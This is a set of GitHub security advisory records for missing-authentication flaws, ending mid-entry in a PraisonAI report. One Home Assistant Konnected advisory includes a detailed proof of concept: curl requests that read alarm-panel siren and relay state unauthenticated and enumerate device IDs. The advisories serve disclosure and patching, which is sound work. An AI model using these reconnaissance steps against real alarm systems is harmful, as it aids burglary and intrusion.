{
  "affected": [],
  "aliases": [
    "CVE-2023-33247"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-26T20:15:49Z",
    "severity": "HIGH"
  },
  "details": "Talend Data Catalog remote harvesting server before 8.0-20230413 contains a /upgrade endpoint that allows an unauthenticated WAR file to be deployed on the server. (A mitigation is that the remote harvesting server should be behind a firewall that only allows access to the Talend Data Catalog server.)",
  "id": "GHSA-x79h-5263-4x77",
  "modified": "2024-04-04T04:21:23Z",
  "published": "2023-05-26T21:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33247"
    },
    {
      "type": "WEB",
      "url": "https://help.talend.com/r/en-US/Talend-Products-CVEs/Talend-Products-CVEs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-33543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-13T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Multiple camera devices by UDP Technology, Geutebr\u00fcck and other vendors allow unauthenticated remote access to sensitive files due to default user authentication settings.",
  "id": "GHSA-x79q-7f37-g9qq",
  "modified": "2022-09-11T00:00:31Z",
  "published": "2022-05-24T22:33:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-33543"
    },
    {
      "type": "WEB",
      "url": "https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03"
    },
    {
      "type": "WEB",
      "url": "https://www.randorisec.fr/fr/udp-technology-ip-camera-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-20126"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-04T20:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in the web-based management interface of Cisco SPA112 2-Port Phone Adapters could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to a missing authentication process within the firmware upgrade function. An attacker could exploit this vulnerability by upgrading an affected device to a crafted version of firmware. A successful exploit could allow the attacker to execute arbitrary code on the affected device with full privileges. Cisco has not released firmware updates to address this vulnerability.",
  "id": "GHSA-x7fj-4595-2pp2",
  "modified": "2023-05-04T21:30:27Z",
  "published": "2023-05-04T21:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20126"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-spa-unauth-upgrade-UqhyTWW"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-4018"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T12:15:31Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, has been found in 20120630 Novel-Plus up to 0e156c04b4b7ce0563bef6c97af4476fcda8f160. This issue affects the function addCrawlSource of the file novel-crawl/src/main/java/com/java2nb/novel/controller/CrawlController.java. The manipulation leads to missing authentication. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-x7h4-fjrw-c922",
  "modified": "2025-04-28T12:30:25Z",
  "published": "2025-04-28T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4018"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.306371"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.306371"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.558377"
    },
    {
      "type": "WEB",
      "url": "https://www.cnblogs.com/aibot/p/18827504"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2023-30643"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-06T03:15:09Z",
    "severity": "HIGH"
  },
  "details": "Missing authentication vulnerability in Galaxy Themes Service prior to SMR Jul-2023 Release 1 allows local attackers to delete arbitrary non-preloaded applications.",
  "id": "GHSA-x7r6-hgxq-528p",
  "modified": "2024-04-04T05:24:29Z",
  "published": "2023-07-06T03:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30643"
    },
    {
      "type": "WEB",
      "url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2023\u0026month=07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-7125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-27T05:15:13Z",
    "severity": "HIGH"
  },
  "details": "Authentication Bypass vulnerability in Hitachi Ops Center Common Services.This issue affects Hitachi Ops Center Common Services: from 10.9.3-00 before 11.0.2-01.",
  "id": "GHSA-x7x8-w7fj-6xxc",
  "modified": "2024-08-27T06:30:32Z",
  "published": "2024-08-27T06:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7125"
    },
    {
      "type": "WEB",
      "url": "https://www.hitachi.com/products/it/software/security/info/vuls/hitachi-sec-2024-143/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "homeassistant"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T19:35:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe Konnected integration registers an HTTP endpoint, `KonnectedView` (`homeassistant/components/konnected/__init__.py`), that is marked as **not requiring authentication** (`requires_auth = False`). A comment next to that line says auth is instead handled \"via the access token from configuration.\"\n\nThat promise is only half true:\n\n- **Write requests (POST and PUT)** are handled by `update_sensor()`, which *does* check the request\u0027s `Authorization: Bearer \u003ctoken\u003e` header against the integration\u0027s stored access tokens (using `hmac.compare_digest`).\n- **Read requests (GET)** are handled by a separate `get()` method that has **no authentication check at all.**\n\nBy sending GET requests to `/api/konnected/device/{device_id}?zone=N`, any unauthenticated client on the LAN can:\n\n1. **Enumerate configured Konnected device IDs** \u2014 the endpoint returns a clean 404-vs-200 difference that acts as an oracle for which devices exist.\n2. **Read switch output states** \u2014 the on/off state of every switch output (siren, strobe, and relay outputs of the alarm panel).\n3. **Read the panel\u0027s zone topology** \u2014 how the alarm panel\u0027s zones are configured.\n4. **Trigger panel connections** \u2014 each unauthenticated GET forces one outbound `panel.async_connect()` call to the Konnected hardware on the LAN.\n\nThe same URL that correctly rejects unauthenticated POST and PUT requests silently serves unauthenticated GET requests, leaking alarm-panel state and device topology to anyone who can reach Home Assistant\u0027s HTTP port (8123 on the LAN by default).\n\n### Details\n\nThis is the threat-model boundary \"unauth to auth\" the upstream security policy treats as fileable. The same boundary produced CVE-2026-34205 (`Unauthenticated app endpoints exposed to local network via host network mode`, CVSS 9.7 CRITICAL, March 2026) and CVE-2023-50715 (`User accounts disclosed to unauthenticated actors on the LAN`, CVSS 4.2 MODERATE, December 2023). The Konnected gap is structurally identical: a HomeAssistantView with `requires_auth = False` that returns information about configured devices to anyone who can reach the HTTP port.\n\nConfirmed end-to-end against `ghcr.io/home-assistant/home-assistant:2026.5.2`. The Proof of Concept section below has seven captures. Step 1 cites the three load-bearing source ranges (view registration, the auth check that only POST/PUT use, the GET handler that omits it). Step 2 is the control: POST and PUT on the same URL return `401 unauthorized` without a Bearer token, proving the integration does have an auth check, just only on the write methods. Step 3 is the bug: GET on the same URL with no Authorization header returns `200 {\"zone\":\"5\",\"state\":1}` for the siren-output zone, equivalent payload for the strobe and relay-output zones. Step 4 exercises the enumeration oracle: unknown `device_id` returns a 404 with a distinct message from a known `device_id` with an unknown zone, which a brute-forcer uses to map the device-ID and zone space. Step 5 captures the connection-amplification side effect by firing 10 unauthenticated GETs and observing 10 `panel.async_connect()` invocations on the panel side. Step 6 shows that a deliberately wrong `Authorization` header produces the same response as no header at all, confirming the auth header is not consulted on GET. Step 7 captures the HA startup log line that registers `KonnectedView`.\n\n### Threat model\n\nHome Assistant\u0027s HTTP server binds to the LAN at port 8123 by default. A Konnected alarm panel is a wired smart-home hardware product whose primary use case is *alarm and security*: zones 1-6 typically read door/window/glass-break sensors, switches 5-8 drive siren, strobe, and relay outputs that control the alarm itself or external systems such as garage-door openers, entry chimes, or armed-disable interlocks. The state an attacker reads through this bug is precisely the live status of those outputs and inputs.\n\nThe attacker model upstream policy explicitly treats as in-scope is the LAN-adjacent unauthenticated client: a guest who joined the wifi, a neighbor on shared coffee-shop wifi, a malicious device that reached the LAN via a separately compromised IoT product, an attacker who landed via a flat office network, or an attacker who pivoted from a VPN endpoint. None of these positions grant an access token. All of them grant the network reachability the bug requires.\n\nThe same endpoint is the receiver for legitimate push updates from the Konnected hardware, which is why `requires_auth = False` exists in the first place. The intent was to enforce a shared access token on the body. That intent is present in `update_sensor()` and absent in `get()`.\n\n### Impact\n\n- **Alarm-system reconnaissance enabling physical intrusion.** A `200 {\"zone\":\"5\",\"state\":1}` response on the siren zone tells an attacker the siren is firing right now, which means a burglary is in progress and the operator may be away or distracted. A `state:0` on the same zone says the panel is quiet. The same applies to strobes, armed-disable relays, and any switch the operator wired through Konnected. This is the intelligence a physical attacker explicitly seeks before entering a property.\n- **Topology disclosure.** Probing zones 1 through 12 across a known device_id maps the alarm panel: which zones are sensors, which are switches, which switches are configured for which output. Combined with manufacturer documentation, the topology tells an attacker which physical control points to bypass.\n- **Device ID brute force.** The 404 \"Device \u003cid\u003e not configured\" oracle on unknown IDs versus 404 \"Switch on zone or pin \u003cn\u003e not configured\" on known IDs with unknown zones, versus 200 with state on full hits, is a clean four-state oracle. Konnected hardware derives `device_id` from its NIC MAC address; production hardware ships with a small set of manufacturer OUI prefixes. The brute force space is on the order of 2^24, trivially scannable from any LAN host with no rate limit.\n- **Outbound connection amplification.** Line 397 of `__init__.py` fires `hass.async_create_task(panel.async_connect())` on every successful GET. An unauth attacker drives N outbound connect attempts toward the (typically LAN-private) Konnected hardware with N unauth GETs, no rate limit, no auth log. A 10-rps sustained scan produces a constant connect storm against the panel hardware that, depending on Konnected firmware, may interfere with legitimate push delivery or cause spurious connect/disconnect cycles visible in the operator\u0027s notification stream.\n- **No auth trail.** The GET handler logs nothing at INFO level. An attacker can probe this endpoint at arbitrary depth and leave no record in `home-assistant.log` unless DEBUG logging is enabled for the integration.\n\n### Affected code\n\n`homeassistant/components/konnected/__init__.py:296-301`, the view registration. The comment on line 301 is load-bearing for the bug: it says auth happens via the configured access token, but that promise is only kept on the POST/PUT path.\n\n```python\nclass KonnectedView(HomeAssistantView):\n    \"\"\"View creates an endpoint to receive push updates from the device.\"\"\"\n\n    url = UPDATE_ENDPOINT  # /api/konnected/device/{device_id:[a-zA-Z0-9]+}\n    name = \"api:konnected\"\n    requires_auth = False  # Uses access token from configuration\n```\n\n`homeassistant/components/konnected/__init__.py:313-335`, the auth check that lives inside `update_sensor()`. POST and PUT call this; GET does not.\n\n```python\nasync def update_sensor(self, request: Request, device_id) -\u003e Response:\n    \"\"\"Process a put or post.\"\"\"\n    hass = request.app[KEY_HASS]\n    data = hass.data[DOMAIN]\n\n    auth = request.headers.get(AUTHORIZATION)\n    tokens = []\n    if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):\n        tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])\n    tokens.extend(\n        [\n            entry.data[CONF_ACCESS_TOKEN]\n            for entry in hass.config_entries.async_entries(DOMAIN)\n            if entry.data.get(CONF_ACCESS_TOKEN)\n        ]\n    )\n    if auth is None or not next(\n        (True for token in tokens if hmac.compare_digest(f\"Bearer {token}\", auth)),\n        False,\n    ):\n        return self.json_message(\n            \"unauthorized\", status_code=HTTPStatus.UNAUTHORIZED\n        )\n```\n\n`homeassistant/components/konnected/__init__.py:385-438`, the GET handler with no authentication. Note line 397 firing `panel.async_connect()` before any reachable auth check and before any rate-limit logic.\n\n```python\nasync def get(self, request: Request, device_id) -\u003e Response:\n    \"\"\"Return the current binary state of a switch.\"\"\"\n    hass = request.app[KEY_HASS]\n    data = hass.data[DOMAIN]\n\n    if not (device := data[CONF_DEVICES].get(device_id)):\n        return self.json_message(\n            f\"Device {device_id} not configured\", status_code=HTTPStatus.NOT_FOUND\n        )\n\n    if (panel := device.get(\"panel\")) is not None:\n        # connect if we haven\u0027t already\n        hass.async_create_task(panel.async_connect())\n\n    # Our data model is based on zone ids but we convert from/to pin ids\n    # based on whether they are specified in the request\n    try:\n        zone_num = str(\n            request.query.get(CONF_ZONE) or PIN_TO_ZONE[request.query[CONF_PIN]]\n        )\n        zone = next(\n            switch\n            for switch in device[CONF_SWITCHES]\n            if switch[CONF_ZONE] == zone_num\n        )\n\n    except StopIteration:\n        zone = None\n    except KeyError:\n        zone = None\n        zone_num = None\n\n    if not zone:\n        target = request.query.get(\n            CONF_ZONE, request.query.get(CONF_PIN, \"unknown\")\n        )\n        return self.json_message(\n            f\"Switch on zone or pin {target} not configured\",\n            status_code=HTTPStatus.NOT_FOUND,\n        )\n\n    resp = {}\n    if request.query.get(CONF_ZONE):\n        resp[CONF_ZONE] = zone_num\n    elif zone_num:\n        resp[CONF_PIN] = ZONE_TO_PIN[zone_num]\n\n    # Make sure entity is setup\n    if zone_entity_id := zone.get(ATTR_ENTITY_ID):\n        resp[\"state\"] = self.binary_value(\n            hass.states.get(zone_entity_id).state,\n            zone[CONF_ACTIVATION],\n        )\n        return self.json(resp)\n```\n\nThe four-state response oracle that powers the brute force:\n\n| Probe | Response | Status |\n|---|---|---|\n| Unknown `device_id` | `{\"message\":\"Device \u003cid\u003e not configured\"}` | 404 |\n| Known `device_id`, no `zone` or `pin` parameter | `{\"message\":\"Switch on zone or pin unknown not configured\"}` | 404 |\n| Known `device_id`, unknown `zone` | `{\"message\":\"Switch on zone or pin \u003cn\u003e not configured\"}` | 404 |\n| Known `device_id`, known `zone` | `{\"zone\":\"\u003cn\u003e\",\"state\":0\\|1}` | 200 |\n\n`homeassistant/components/konnected/const.py:45`, the URL pattern:\n\n```python\nENDPOINT_ROOT = \"/api/konnected\"\nUPDATE_ENDPOINT = ENDPOINT_ROOT + r\"/device/{device_id:[a-zA-Z0-9]+}\"\n```\n\n### Proof of concept\n\nReproduction environment is a single Docker container of Home Assistant Core 2026.5.2 with a small `custom_components/konnected_poc/` shim that primes `hass.data[konnected]` with a representative alarm-panel layout and registers the same `KonnectedView` class through `hass.http.register_view`. The shim does not change the bug surface; it is the same class the upstream integration registers at line 248. All seven evidence captures below come from one live run against the container.\n\n#### Environment\n\n```\nhost: Darwin 25.2.0 arm64\ndocker: Docker version 29.4.3, build 055a478ea9\nha image: ghcr.io/home-assistant/home-assistant:2026.5.2\n\nkonnected source SHA-256 (the file containing the bug):\n33e1e56b8fe0c28aa2aee060e214a501c813655297b33272e83c2f2d51adc3b6  /usr/src/homeassistant/homeassistant/components/konnected/__init__.py\n\nkonnected_poc shim startup log:\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc\n2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds\n```\n\n#### Step 1: cite the three load-bearing source ranges inside the running container\n\n```\n$ docker exec ha-konnected-poc sh -c \u0027\n    pkg=$(python -c \"import homeassistant.components.konnected as m; import os; print(os.path.dirname(m.__file__))\")\n    sed -n \"296,305p\" \"$pkg/__init__.py\"\n    sed -n \"313,336p\" \"$pkg/__init__.py\"\n    sed -n \"385,438p\" \"$pkg/__init__.py\"\n\u0027\n\n--- view registration, requires_auth = False (line 301) ---\nclass KonnectedView(HomeAssistantView):\n    \"\"\"View creates an endpoint to receive push updates from the device.\"\"\"\n\n    url = UPDATE_ENDPOINT\n    name = \"api:konnected\"\n    requires_auth = False  # Uses access token from configuration\n\n--- update_sensor() enforces Bearer-token auth via hmac.compare_digest ---\n    async def update_sensor(self, request: Request, device_id) -\u003e Response:\n        \"\"\"Process a put or post.\"\"\"\n        hass = request.app[KEY_HASS]\n        data = hass.data[DOMAIN]\n\n        auth = request.headers.get(AUTHORIZATION)\n        tokens = []\n        if hass.data[DOMAIN].get(CONF_ACCESS_TOKEN):\n            tokens.extend([hass.data[DOMAIN][CONF_ACCESS_TOKEN]])\n        tokens.extend(\n            [\n                entry.data[CONF_ACCESS_TOKEN]\n                for entry in hass.config_entries.async_entries(DOMAIN)\n                if entry.data.get(CONF_ACCESS_TOKEN)\n            ]\n        )\n        if auth is None or not next(\n            (True for token in tokens if hmac.compare_digest(f\"Bearer {token}\", auth)),\n            False,\n        ):\n            return self.json_message(\n                \"unauthorized\", status_code=HTTPStatus.UNAUTHORIZED\n            )\n\n--- get() handler, no auth check anywhere in the body ---\n    async def get(self, request: Request, device_id) -\u003e Response:\n        \"\"\"Return the current binary state of a switch.\"\"\"\n        hass = request.app[KEY_HASS]\n        data = hass.data[DOMAIN]\n\n        if not (device := data[CONF_DEVICES].get(device_id)):\n            return self.json_message(\n                f\"Device {device_id} not configured\", status_code=HTTPStatus.NOT_FOUND\n            )\n\n        if (panel := device.get(\"panel\")) is not None:\n            # connect if we haven\u0027t already\n            hass.async_create_task(panel.async_connect())\n        ...\n        return self.json(resp)\n```\n\n#### Step 2: control. POST and PUT on the same URL return 401 without a Bearer token\n\nThe integration does enforce a Bearer-token check; the policy is just only applied to the write methods.\n\n```\n$ curl -sS -i -X POST -H \"Content-Type: application/json\" \\\n    -d \u0027{\"zone\":\"5\",\"state\":\"1\"}\u0027 \\\n    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122\n\nHTTP/1.1 401 Unauthorized\nContent-Type: application/json\nContent-Length: 26\n\n{\"message\":\"unauthorized\"}\n\n$ curl -sS -i -X PUT -H \"Content-Type: application/json\" \\\n    -d \u0027{\"zone\":\"5\",\"state\":\"1\"}\u0027 \\\n    http://127.0.0.1:8123/api/konnected/device/aabbccdd1122\n\nHTTP/1.1 401 Unauthorized\nContent-Type: application/json\nContent-Length: 26\n\n{\"message\":\"unauthorized\"}\n```\n\n#### Step 3: the bug. GET returns alarm-panel switch state with no Authorization header\n\nThree zones queried unauthenticated. Each returns the live binary state of a switch output on the configured Konnected alarm panel.\n\n```\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n\nHTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 22\n\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=6\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"6\",\"state\":1}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=7\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"7\",\"state\":1}\n```\n\nZone 5 is the siren output of the panel in this configuration. Zone 6 is the strobe. Zone 7 is the relay output wired to the garage arm-disable circuit. The unauthenticated attacker learns each output is currently active.\n\n#### Step 4: enumeration oracle. Three distinct response shapes power the brute force\n\n```\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/ffffffffffff?zone=5\"\n\nHTTP/1.1 404 Not Found\nContent-Length: 48\n\n{\"message\":\"Device ffffffffffff not configured\"}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=99\"\n\nHTTP/1.1 404 Not Found\nContent-Length: 53\n\n{\"message\":\"Switch on zone or pin 99 not configured\"}\n\n$ curl -sS -i \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n\nHTTP/1.1 200 OK\nContent-Length: 22\n\n{\"zone\":\"5\",\"state\":1}\n```\n\nAn attacker sweeping the `device_id` space sees the `Device \u003cid\u003e not configured` message until a real device matches, at which point the `Switch on zone or pin \u003cn\u003e not configured` message starts appearing. Then a 12-iteration zone sweep maps the panel\u0027s full output topology.\n\n#### Step 5: connection amplification. N unauth GETs drive N outbound `panel.async_connect()` calls\n\n10 unauthenticated GET requests at line rate. The `panel.async_connect()` invocations logged by the panel-side stub confirm line 397 of `__init__.py` fires unconditionally on every successful GET, before any reachable rate-limit logic and before any reachable auth check.\n\n```\n$ for i in $(seq 1 10); do\n    curl -sS -o /dev/null -w \"GET #%{http_code}\\n\" \\\n      \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n  done\n\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\nGET #200\n\n$ docker logs ha-konnected-poc 2\u003e\u00261 | grep \"async_connect() invoked\"\n\n2026-05-18 15:23:55.893 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #1). In production this is an outbound HTTPS call to the configured Konnected hardware.\n2026-05-18 15:23:55.900 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #2). ...\n2026-05-18 15:23:55.907 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #3). ...\n2026-05-18 15:23:55.921 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #4). ...\n2026-05-18 15:23:55.928 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #5). ...\n2026-05-18 15:23:55.937 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #6). ...\n2026-05-18 15:23:55.944 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #7). ...\n2026-05-18 15:23:55.951 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #8). ...\n2026-05-18 15:23:55.957 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #9). ...\n2026-05-18 15:23:55.964 WARNING [custom_components.konnected_poc] panel.async_connect() invoked (attempt #10). ...\n```\n\nA sustained scan trivially fills the operator\u0027s panel side with retry storms. In production the call is an outbound HTTPS connection to the Konnected hardware on the LAN.\n\n#### Step 6: the Authorization header is ignored on GET\n\nIdentical responses with no header, a deliberately wrong header, and no header again. This rules out any caching artifact and confirms `get()` never reads the auth state.\n\n```\n$ curl -sS \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS -H \"Authorization: Bearer this-token-is-completely-wrong\" \\\n    \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n\n$ curl -sS \"http://127.0.0.1:8123/api/konnected/device/aabbccdd1122?zone=5\"\n{\"zone\":\"5\",\"state\":1}\n```\n\nThe wrong-Authorization case is the load-bearing one. If the GET handler ever consulted the header, it would either accept it (no, because the token is wrong) or reject it (no, because the response is 200 with state). The handler never reads `request.headers[\"Authorization\"]`.\n\n#### Step 7: startup log confirms the view is registered and the integration is loaded\n\n```\n2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setting up konnected\n2026-05-18 15:23:50.815 INFO (MainThread) [homeassistant.setup] Setup of domain konnected took 0.00 seconds\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setting up konnected_poc\n2026-05-18 15:23:50.850 INFO (MainThread) [custom_components.konnected_poc] konnected_poc: registered KonnectedView and primed device aabbccdd1122\n2026-05-18 15:23:50.850 INFO (MainThread) [homeassistant.setup] Setup of domain konnected_poc took 0.00 seconds\n```\n\nThe `konnected` integration shipped in core 2026.5.2 is loaded normally. The `konnected_poc` shim runs after it, registering the same `KonnectedView` class through `hass.http.register_view` and seeding `hass.data[konnected][devices]` with a representative alarm-panel configuration. The bug surface is the same `KonnectedView` class the upstream integration registers at `__init__.py:248` on every production install.\n\n### Workaround\n\nMigrate to the EspHome integration, as suggested in the existing repair issue for the Konnected integration.\n\n### Fix\n\nThe Konnected integration was removed in Home Assistant Core 2026.6.0. It had been deprecated for some time.",
  "id": "GHSA-x84v-g949-293w",
  "modified": "2026-06-19T19:35:47Z",
  "published": "2026-06-19T19:35:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/home-assistant/core/security/advisories/GHSA-x84v-g949-293w"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/home-assistant/core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Home Assistant: Konnected alarm-panel switch state and zone topology disclosed to unauthenticated actors on the LAN"
}

{
  "affected": [],
  "aliases": [
    "CVE-2018-1757"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-07T15:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security Identity Governance and Intelligence 5.2.3.2 and 5.2.4 could allow an attacker to obtain sensitive information due to missing authentication in IGI for the survey application. IBM X-Force ID: 148601.",
  "id": "GHSA-x87w-6h43-rmjq",
  "modified": "2022-05-13T01:19:28Z",
  "published": "2022-05-13T01:19:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1757"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/148601"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=ibm10728883"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.59"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:57:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# PraisonAI `AgentTeam.launch()` exposes unauthenticated remote agent invocation endpoints\n\n## Summary\n\nPraisonAI\u0027s documented Python `AgentTeam.launch()` / `Agents.launch()` HTTP server starts externally reachable agent invocation endpoints without any authentication enforcement.\n\nThe current implementation registers `GET /{path}/list`, `POST /{path}`, and `POST /{path}/{agent_id}` routes. The POST routes directly call `agent.chat(...)`. Requests with no `Authorization` header are accepted, and requests with an obviously wrong bearer token are also accepted. The default Python API bind host for `Agents.launch()` is `0.0.0.0`, and official documentation shows `host=\"0.0.0.0\"` for remote access.\n\nThis is a sibling/incomplete-fix variant of PraisonAI\u0027s prior unauthenticated API server and call server advisory family. Nearby server surfaces were hardened to require tokens, fail closed, or bind locally by default, but the `AgentTeam.launch()` FastAPI path still exposes unauthenticated agent execution on current upstream main and the latest release.\n\nThis report is scoped to the Python `AgentTeam.launch()` / `Agents.launch()` route-registration path. It does not require adjudicating whether the separate `praisonai serve agents --api-key` CLI path is correctly enforced.\n\n## Affected Components\n\n- Package: `praisonaiagents`\n- Current upstream main tested: `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n- Latest release tag tested: `v4.6.57`\n- Primary file: 